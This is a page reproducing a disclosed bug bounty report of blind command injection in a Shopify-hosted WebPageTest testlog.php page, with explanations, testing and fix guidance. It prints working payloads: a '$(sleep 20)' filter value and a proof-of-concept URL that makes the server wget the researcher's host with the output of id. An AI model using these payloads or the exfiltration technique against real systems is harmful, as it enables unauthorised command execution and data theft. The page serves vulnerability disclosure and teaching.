Skip to content
RCE Disclosed report Intermediate

Attention! Remote Code Execution at http://wpt.ec2.shopify.com/

The testlog.php page passed a user-supplied filter parameter into a shell command without sanitisation, allowing an attacker to execute arbitrary commands on the server. The attacker could run commands such as sleep or wget to exfiltrate data, though the output was blind.

prakharprasad Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 13 days
  • Paid in 13 days
  • Disclosed after 14 days

Summary by the researcher

This vulnerability was found by reviewing source code of https://github.com/WPO-Foundation/webpagetest/blob/master/www/testlog.php

The report

Hi,

I just found a remote code execution bug at http://wpt.ec2.shopify.com/

Reproduction

  1. Open
  2. In the text area enter $(sleep 20) and hit "Update List"
  3. The result should come out at around 20 seconds, there-by executing sleep command

POC: http://wpt.ec2.shopify.com/testlog.php?days=1&filter=%24%28%60wget+sandbox.prakharprasad.com%2F%24%28id%29%60%29

I've attached a video for this RCE bug, in which I had executed id command for verification purpose on the server and sent back the result to my Apache logs, as the RCE here is blind.

Regards, Prakhar Prasad

Attachments

RCE-Shopify.mov From the original on HackerOne

The original report as published on HackerOne, by prakharprasad. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 4 min read.

What the report shows

The target is the host http://wpt.ec2.shopify.com/. The researcher found the issue by reviewing the source of the open source WebPageTest project, specifically www/testlog.php in the WPO-Foundation repository, and then confirmed it against the live host.

The affected page is testlog.php, which takes days and filter parameters. The page offers a text area with an "Update List" button for entering the filter value.

Reproduction steps as given in the report:

  1. Open the test log page.
  2. In the text area enter the following and press "Update List":
Text
$(sleep 20)
  1. The result comes back after roughly 20 seconds, which shows the sleep command was executed.

The proof of concept URL in the report is:

HTTP
http://wpt.ec2.shopify.com/testlog.php?days=1&filter=%24%28%60wget+sandbox.prakharprasad.com%2F%24%28id%29%60%29

Because the execution is blind, the researcher used this outbound request to carry the command output back to their Apache logs. The attached video shows the id command being run on the server for verification.

RCE-Shopify.mov From the original on HackerOne

The report does not state a bounty amount, a severity rating, a CVSS score or a fix.

Root cause

The report points to testlog.php as the vulnerable code and demonstrates command execution through the filter value. The report does not show the exact line of PHP that builds the command, so the precise cause is not documented here. The $(...) form is command substitution, and the backticks inside it are a second, nested substitution, which is why the payload executes wget with the result of id in its URL.

Impact

Within the report, the demonstrated impact is blind command execution on the server, verified by running id. The researcher verified this by running id and exfiltrating its output through an outbound HTTP request.

How this kind of bug works

Command injection happens when an application builds a shell command from untrusted input and hands the whole string to a shell. The shell then parses the string, so any metacharacters the attacker supplied are treated as syntax rather than data. The classic vectors are:

  • Command substitution: $(...) and backticks, which run a command and substitute its output.
  • Chaining: ;, &&, || and newlines, which start a second command.
  • Pipes and redirection: |, >, <, which connect commands and files.
  • Argument injection: values beginning with - that a program interprets as options even when no shell metacharacter is present.

The bug class is common wherever a script shells out to system tools: image and media processing, archive and conversion utilities, DNS and network lookups, backup and reporting jobs, and administrative pages that wrap command line tools. The usual defences are to avoid the shell entirely (pass an argument vector to an exec-style API), to validate input against a strict allowlist, and to escape values for the target shell when a shell cannot be avoided. Running the service with minimal privileges and restricting outbound network access limits what an attacker gains.

How to test for it

  1. Map every parameter that plausibly feeds a system command: filters, sort keys, hostnames, file names, format selectors, date ranges, and anything described as a "command" or "option" in the UI.
  2. Start with a harmless time delay. Submit a value containing a command substitution or a chained sleep, and compare response time against a baseline request with a normal value. Repeat a few times to rule out ordinary slowness.
  3. If the response is blind, use an out-of-band channel: a request to a host you control, with a unique identifier in the path, so you can confirm execution and attribute it to your request.
  4. Confirm what actually ran by exfiltrating a simple command output, such as the current user, through the same channel.
  5. Test both the direct parameter and any form field that posts the same value, since the two paths may be handled differently.

A positive result is a reproducible, timing-consistent delay or an out-of-band callback that arrives only when your payload is present. Common false positives are: a slow backend that makes every request take the same time; a WAF or proxy that blocks the request and returns an error page quickly; input that is escaped and appears literally in the response; and callbacks caused by a scanner or another party rather than your payload. Always re-test with a control value and check that the callback identifier matches the one you sent.

How it is fixed

The standard fixes are:

  • Replace shell invocation with a direct API call that takes the command and its arguments as a list, so no shell parsing occurs.
  • Where a shell is unavoidable, escape every interpolated value for that shell, and quote it.
  • Validate input with an allowlist: for a filter or format parameter, accept only known values.
  • Run the service under a low-privilege account and restrict outbound traffic so blind exfiltration is harder.
  • Add regression tests that submit metacharacters and assert they are treated as literal data.

Hunting notes

This class tends to hide in older administrative tooling, open source projects deployed with default configurations, and pages that wrap command line utilities for convenience. Reading the source of an open source component and then looking for public deployments of it is an efficient route, as this report shows. Recon signals include error pages or headers that reveal the product and version, repository links in page footers, and parameters whose names suggest file paths, formats or filters. To make a report accepted, show a minimal, reproducible payload, prove execution with a benign command and an out-of-band callback, and state clearly what the command ran as. Avoid destructive commands and keep the proof to the smallest thing that demonstrates the issue.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 6 min read.

What happened, in plain words

A security researcher found a serious bug on a Shopify web server at http://wpt.ec2.shopify.com/. The server in question was at http://wpt.ec2.shopify.com/,

The researcher did not stumble on the bug by chance. They found the bug by reviewing the source code of the WebPageTest project on GitHub, focusing on a file called www/testlog.php. They then tried it on the live Shopify server and confirmed it worked.

The page involved is testlog.php, which takes two values in its address: days and filter. There is also a text area on the page with an "Update List" button for entering the filter value.

The reproduction

The report gives three steps:

  1. Open the test log page.
  2. In the text area enter the following and press "Update List":
Text
$(sleep 20)
  1. The result comes back after roughly 20 seconds, which shows the sleep command was executed.

Why does this matter? sleep 20 is a standard command that does nothing for 20 seconds. The fact that the page waited about 20 seconds means the server did not treat the text as data: it handed it to the operating system's command interpreter (the shell), which recognised $(...) as an instruction to run the command inside the brackets. That is command injection: user input escaping its intended role as text and becoming a command.

The proof-of-concept URL

The report also gives a URL that demonstrates the same bug in a single request:

HTTP
http://wpt.ec2.shopify.com/testlog.php?days=1&filter=%24%28%60wget+sandbox.prakharprasad.com%2F%24%28id%29%60%29

That URL looks messy because browsers and servers encode special characters. Decoded, the filter value is:

Line by line:

  • $( ... ) tells the shell to run the command inside and substitute its output.
  • The backticks around wget ... are a second, nested way of doing the same substitution.
  • wget is a command-line tool that downloads a file from a URL.
  • sandbox.prakharprasad.com is a host controlled by the researcher.
  • $(id) runs the id command, which prints the identity of the user the server process is running as.

So the server ends up making an outbound web request to the researcher's own server, with the output of id in the requested path. The researcher could then read the result in their Apache logs. This technique is used because the command execution here is blind: the attacker does not see the command's output in the web page response, so they need another channel to get it back.

The attached video shows the id command being run on the server for verification.

RCE-Shopify.mov From the original on HackerOne

The report does not state a bounty amount, a severity rating, a CVSS score or a fix.

In general, how this kind of bug works

Command injection happens when an application builds a shell command from untrusted input and hands the whole string to a shell. The shell then parses the string, so any metacharacters the attacker supplied are treated as syntax rather than data. A useful comparison is a restaurant order: if the kitchen reads out the whole order as one sentence, a customer who slips in "and also give me the till" gets more than they asked for. The safe approach is to pass the order as a structured list of items, not as free text.

The classic vectors are:

  • Command substitution: $(...) and backticks, which run a command and substitute its output.
  • Chaining: ;, &&, || and newlines, which start a second command.
  • Pipes and redirection: |, >, <, which connect commands and files.
  • Argument injection: values beginning with - that a program interprets as options even when no shell metacharacter is present.

The bug class is common wherever a script shells out to system tools: image and media processing, archive and conversion utilities, DNS and network lookups, backup and reporting jobs, and administrative pages that wrap command line tools. The usual defences are to avoid the shell entirely (pass an argument vector to an exec-style API), to validate input against a strict allowlist, and to escape values for the target shell when a shell cannot be avoided. Running the service with minimal privileges and restricting outbound network access limits what an attacker gains.

How to test for it

  1. Map every parameter that plausibly feeds a system command: filters, sort keys, hostnames, file names, format selectors, date ranges, and anything described as a "command" or "option" in the UI.
  2. Start with a harmless time delay. Submit a value containing a command substitution or a chained sleep, and compare response time against a baseline request with a normal value. Repeat a few times to rule out ordinary slowness.
  3. If the response is blind, use an out-of-band channel: a request to a host you control, with a unique identifier in the path, so you can confirm execution and attribute it to your request.
  4. Confirm what actually ran by exfiltrating a simple command output, such as the current user, through the same channel.
  5. Test both the direct parameter and any form field that posts the same value, since the two paths may be handled differently.

A positive result is a reproducible, timing-consistent delay or an out-of-band callback that arrives only when your payload is present. Common false positives are: a slow backend that makes every request take the same time; a WAF or proxy that blocks the request and returns an error page quickly; input that is escaped and appears literally in the response; and callbacks caused by a scanner or another party rather than your payload. Always re-test with a control value and check that the callback identifier matches the one you sent.

How it is fixed

The standard fixes are:

  • Replace shell invocation with a direct API call that takes the command and its arguments as a list, so no shell parsing occurs.
  • Where a shell is unavoidable, escape every interpolated value for that shell, and quote it.
  • Validate input with an allowlist: for a filter or format parameter, accept only known values.
  • Run the service under a low-privilege account and restrict outbound traffic so blind exfiltration is harder.
  • Add regression tests that submit metacharacters and assert they are treated as literal data.

Hunting notes

This class tends to hide in older administrative tooling, open source projects deployed with default configurations, and pages that wrap command line utilities for convenience. Reading the source of an open source component and then looking for public deployments of it is an efficient route, as this report shows. Recon signals include error pages or headers that reveal the product and version, repository links in page footers, and parameters whose names suggest file paths, formats or filters. To make a report accepted, show a minimal, reproducible payload, prove execution with a benign command and an out-of-band callback, and state clearly what the command ran as. Avoid destructive commands and keep the proof to the smallest thing that demonstrates the issue.

Glossary

  • Bug bounty programme: a scheme where an organisation rewards people for finding and reporting security flaws in its systems.
  • WebPageTest: an open-source tool for measuring website performance.
  • Source code: the human-readable instructions that make up a program.
  • Parameter: a named value passed in a URL or form, such as days or filter.
  • Command injection: a vulnerability where untrusted input is interpreted as an operating system command.
  • Shell: the program that reads and runs commands on a server.
  • Command substitution: a shell feature, written $(...) or with backticks, that runs a command and inserts its output.
  • Blind: a vulnerability where the attacker cannot see the direct result in the response.
  • Out-of-band channel: a separate route, such as a request to an attacker-controlled server, used to confirm or retrieve results.
  • Exfiltration: getting data out of a system through a covert or indirect channel.
  • WAF: web application firewall, a filter that inspects and blocks suspicious web traffic.
  • Allowlist: a list of permitted values; anything not on the list is rejected.
  • Argument vector: a way of passing a command and its arguments as a list, so no shell parsing happens.
  • CVSS: a standard scoring system for the severity of vulnerabilities.

More by prakharprasad

View all

17 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.